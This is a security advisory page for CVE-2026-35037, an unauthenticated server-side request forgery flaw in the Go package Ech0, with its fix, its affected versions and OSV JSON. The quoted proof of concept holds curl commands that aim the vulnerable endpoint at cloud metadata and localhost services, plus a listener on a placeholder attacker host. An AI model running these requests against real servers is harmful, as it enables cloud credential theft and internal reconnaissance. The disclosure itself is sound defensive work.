CVE-2026-35037: Ech0 Unauthenticated SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-cqgf-f4x7-g6wc
CVSS 7.2
CWE-918
Published
Advisory Summary

CVE-2026-35037 is a HIGH (CVSS 7.2) unauthenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Ech0 libraries in the Go ecosystem. The issue involves unauthenticated ssrf in getwebsitetitle allows access to internal services and cloud metadata. Remediation is available by upgrading affected packages to version 1.4.8-0.20260401031029-4ca56fea5ba4.

CVE-2026-35037 at a Glance

CVE Identifier CVE-2026-35037
GHSA Identifier GHSA-cqgf-f4x7-g6wc
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Ech0
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-35037

To remediate this vulnerability, upgrade all affected Ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lin-snow/ech0 fixed: 1.4.8-0.20260401031029-4ca56fea5ba4
Upgrade github.com/lin-snow/ech0 to 1.4.8-0.20260401031029-4ca56fea5ba4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lin-snow/ech0

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35037, inspect your project dependencies for Ech0:

inspect dependencies for github.com/lin-snow/ech0

Analyze the terminal output to locate any version of Ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.8-0.20260401031029-4ca56fea5ba4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `<title>` tag extraction. ## Details The vulnerability exists in the interaction between four components: **1. Route registration — no authentication** (`internal/router/common.go:11`): ```go appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle()) ``` The `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group("/api")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`). **2. Handler — no input validation** (`internal/handler/common/common.go:106-127`): ```go func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { var dto commonModel.GetWebsiteTitleDto if err := ctx.ShouldBindQuery(&dto); err != nil { ... } title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL) ... }) } ``` The DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:"required"` — no URL scheme or host validation. **3. Service — TrimURL is cosmetic** (`internal/service/common/common.go:122-125`): ```go func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) { websiteURL = httpUtil.TrimURL(websiteURL) body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second) ... } ``` `TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix("/")`, and `TrimSuffix("/")`. No SSRF protections. **4. HTTP client — unrestricted outbound request** (`internal/util/http/http.go:53-84`): ```go client := &http.Client{ Timeout: clientTimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, }, } req, err := http.NewRequest(method, url, nil) ... resp, err := client.Do(req) ``` The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges. The response body is parsed for `<title>` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements. ## PoC **Step 1: Probe cloud metadata endpoint (AWS)** ```bash curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/' ``` If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability. **Step 2: Probe internal localhost services** ```bash curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/' ``` Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology. **Step 3: Exfiltrate data from internal web services with HTML title tags** ```bash curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/' ``` If the internal service returns an HTML page with a `<title>` tag, its content is returned to the attacker. **Step 4: Confirm with a controlled external server** ```bash # On attacker machine: python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type','text/html') self.end_headers() self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>') HTTPServer(('0.0.0.0',9999),H).serve_forever()" & # From any client: curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/' ``` Expected response contains `"data":"SSRF-CONFIRMED"`, proving the server made an outbound request to the attacker-controlled URL. ## Impact - **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet. - **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security. - **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure. - **Data exfiltration**: Partial response content is leaked through the `<title>` tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses. The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance. ## Recommended Fix Add URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`: ```go import ( "net" "net/url" ) func isPrivateIP(ip net.IP) bool { privateRanges := []string{ "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16", "::1/128", "fc00::/7", "fe80::/10", } for _, cidr := range privateRanges { _, network, _ := net.ParseCIDR(cidr) if network.Contains(ip) { return true } } return false } func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) { websiteURL = httpUtil.TrimURL(websiteURL) // Validate URL scheme parsed, err := url.Parse(websiteURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { return "", errors.New("only http and https URLs are allowed") } // Resolve hostname and block private IPs host := parsed.Hostname() ips, err := net.LookupIP(host) if err != nil { return "", fmt.Errorf("failed to resolve hostname: %w", err) } for _, ip := range ips { if isPrivateIP(ip) { return "", errors.New("requests to private/internal addresses are not allowed") } } body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second) // ... rest unchanged } ``` Additionally, consider: 1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69` 2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding 3. Adding rate limiting to this endpoint

CVE-2026-35037 Affected Ech0 Versions

1 component(s)
Fixed Versions:
1.4.8-0.20260401031029-4ca56fea5ba4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lin-snow/ech0
Go
< 1.4.8-0.20260401031029-4ca56fea5ba4
1.4.8-0.20260401031029-4ca56fea5ba4

References

Frequently Asked Questions

What is CVE-2026-35037?
CVE-2026-35037 is a security vulnerability in Ech0 involving Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata under CWE-918: Server-Side Request Forgery (SSRF).
Which Ech0 versions are affected?
Affected versions include releases prior to 1.4.8-0.20260401031029-4ca56fea5ba4 across affected packages: github.com/lin-snow/ech0.
What version fixes CVE-2026-35037?
Upgrading to 1.4.8-0.20260401031029-4ca56fea5ba4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lin-snow/ech0 affected?
Yes, github.com/lin-snow/ech0 is affected in releases prior to 1.4.8-0.20260401031029-4ca56fea5ba4. Upgrade your dependency to 1.4.8-0.20260401031029-4ca56fea5ba4 or later.
What is the CVSS score of CVE-2026-35037?
CVE-2026-35037 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-35037?
CVE-2026-35037 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-35037?
Run the dependency tree command: 'inspect dependencies for github.com/lin-snow/ech0'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cqgf-f4x7-g6wc",
  "modified" : "2026-04-06T23:41:08Z",
  "published" : "2026-04-03T03:33:00Z",
  "aliases" : [ "CVE-2026-35037" ],
  "summary" : "Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata",
  "details" : "## Summary\n\nThe `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `<title>` tag extraction.\n\n## Details\n\nThe vulnerability exists in the interaction between four components:\n\n**1. Route registration — no authentication** (`internal/router/common.go:11`):\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/website/title\", h.CommonHandler.GetWebsiteTitle())\n```\nThe `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group(\"/api\")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`).\n\n**2. Handler — no input validation** (`internal/handler/common/common.go:106-127`):\n```go\nfunc (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {\n    return res.Execute(func(ctx *gin.Context) res.Response {\n        var dto commonModel.GetWebsiteTitleDto\n        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }\n        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)\n        ...\n    })\n}\n```\nThe DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:\"required\"` — no URL scheme or host validation.\n\n**3. Service — TrimURL is cosmetic** (`internal/service/common/common.go:122-125`):\n```go\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n    websiteURL = httpUtil.TrimURL(websiteURL)\n    body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n    ...\n}\n```\n`TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix(\"/\")`, and `TrimSuffix(\"/\")`. No SSRF protections.\n\n**4. HTTP client — unrestricted outbound request** (`internal/util/http/http.go:53-84`):\n```go\nclient := &http.Client{\n    Timeout: clientTimeout,\n    Transport: &http.Transport{\n        TLSClientConfig: &tls.Config{\n            InsecureSkipVerify: true,\n        },\n    },\n}\nreq, err := http.NewRequest(method, url, nil)\n...\nresp, err := client.Do(req)\n```\nThe client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.\n\nThe response body is parsed for `<title>` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.\n\n## PoC\n\n**Step 1: Probe cloud metadata endpoint (AWS)**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'\n```\nIf the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.\n\n**Step 2: Probe internal localhost services**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'\n```\nProbes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.\n\n**Step 3: Exfiltrate data from internal web services with HTML title tags**\n```bash\ncurl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'\n```\nIf the internal service returns an HTML page with a `<title>` tag, its content is returned to the attacker.\n\n**Step 4: Confirm with a controlled external server**\n```bash\n# On attacker machine:\npython3 -c \"from http.server import HTTPServer, BaseHTTPRequestHandler\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header('Content-Type','text/html')\n        self.end_headers()\n        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')\nHTTPServer(('0.0.0.0',9999),H).serve_forever()\" &\n\n# From any client:\ncurl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'\n```\nExpected response contains `\"data\":\"SSRF-CONFIRMED\"`, proving the server made an outbound request to the attacker-controlled URL.\n\n## Impact\n\n- **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.\n- **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.\n- **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security.\n- **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.\n- **Data exfiltration**: Partial response content is leaked through the `<title>` tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.\n\nThe attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.\n\n## Recommended Fix\n\nAdd URL validation in `GetWebsiteTitle` to block requests to private/reserved IP ranges and restrict allowed schemes. In `internal/service/common/common.go`:\n\n```go\nimport (\n    \"net\"\n    \"net/url\"\n)\n\nfunc isPrivateIP(ip net.IP) bool {\n    privateRanges := []string{\n        \"127.0.0.0/8\",\n        \"10.0.0.0/8\",\n        \"172.16.0.0/12\",\n        \"192.168.0.0/16\",\n        \"169.254.0.0/16\",\n        \"::1/128\",\n        \"fc00::/7\",\n        \"fe80::/10\",\n    }\n    for _, cidr := range privateRanges {\n        _, network, _ := net.ParseCIDR(cidr)\n        if network.Contains(ip) {\n            return true\n        }\n    }\n    return false\n}\n\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n    websiteURL = httpUtil.TrimURL(websiteURL)\n\n    // Validate URL scheme\n    parsed, err := url.Parse(websiteURL)\n    if err != nil || (parsed.Scheme != \"http\" && parsed.Scheme != \"https\") {\n        return \"\", errors.New(\"only http and https URLs are allowed\")\n    }\n\n    // Resolve hostname and block private IPs\n    host := parsed.Hostname()\n    ips, err := net.LookupIP(host)\n    if err != nil {\n        return \"\", fmt.Errorf(\"failed to resolve hostname: %w\", err)\n    }\n    for _, ip := range ips {\n        if isPrivateIP(ip) {\n            return \"\", errors.New(\"requests to private/internal addresses are not allowed\")\n        }\n    }\n\n    body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n    // ... rest unchanged\n}\n```\n\nAdditionally, consider:\n1. Removing `InsecureSkipVerify: true` from `SendRequest` in `internal/util/http/http.go:69`\n2. Disabling redirect following in the HTTP client (`CheckRedirect` returning `http.ErrUseLastResponse`) or re-validating the target IP after each redirect to prevent DNS rebinding\n3. Adding rate limiting to this endpoint",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.8-0.20260401031029-4ca56fea5ba4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35037"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T03:33:00Z",
    "nvd_published_at" : "2026-04-06T17:17:13Z"
  }
}